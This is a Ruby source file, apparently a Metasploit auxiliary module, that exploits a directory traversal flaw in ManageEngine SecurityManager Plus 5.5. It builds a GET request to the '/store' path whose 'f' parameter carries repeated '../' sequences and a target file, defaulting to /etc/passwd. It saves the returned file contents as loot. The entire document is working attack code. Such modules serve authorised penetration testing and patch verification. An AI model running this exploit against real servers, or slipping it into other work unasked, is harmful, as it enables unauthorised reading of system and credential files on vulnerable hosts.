ManageEngine SecurityManager Plus 5.5 Directory Traversal

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'ManageEngine SecurityManager Plus 5.5 Directory Traversal',  
'Description' => %q{  
This module exploits a directory traversal flaw found in ManageEngine  
SecurityManager Plus 5.5 or less. When handling a file download request,  
the DownloadServlet class fails to properly check the 'f' parameter, which  
can be abused to read any file outside the virtual directory.  
},  
'References' =>  
[  
['OSVDB', '86563'],  
['EDB', '22092']  
],  
'Author' =>  
[  
'blkhtc0rp', #Original  
'sinn3r' #Metasploit module  
],  
'License' => MSF_LICENSE,  
'DisclosureDate' => '2012-10-19'  
))  
  
register_options(  
[  
OptPort.new('RPORT', [true, 'The target port', 6262]),  
OptString.new('TARGETURI', [true, 'The URI path to the web application', '/']),  
OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']),  
OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10])  
])  
end  
  
  
def run_host(ip)  
base = normalize_uri(target_uri.path)  
base << '/' if base[-1,1] != '/'  
  
peer = "#{ip}:#{rport}"  
fname = datastore['FILE']  
  
print_status("Reading '#{datastore['FILE']}'")  
traverse = "../" * datastore['DEPTH']  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => "#{base}store",  
'vars_get' => {  
'f' => "#{traverse}#{datastore['FILE']}"  
}  
})  
  
  
if res and res.code == 500 and res.body =~ /Error report/  
print_error("Cannot obtain '#{fname}', here are some possible reasons:")  
print_error("\t1. File does not exist.")  
print_error("\t2. The server does not have any patches deployed.")  
print_error("\t3. Your 'DEPTH' option isn't deep enough.")  
print_error("\t4. Some kind of permission issues.")  
  
elsif res and res.code == 200  
data = res.body  
p = store_loot(  
'manageengine.securitymanager',  
'application/octet-stream',  
ip,  
data,  
fname  
)  
  
vprint_line(data)  
print_good("#{fname} stored as '#{p}'")  
  
else  
print_error("Fail to obtain file for some unknown reason")  
end  
end  
end  
`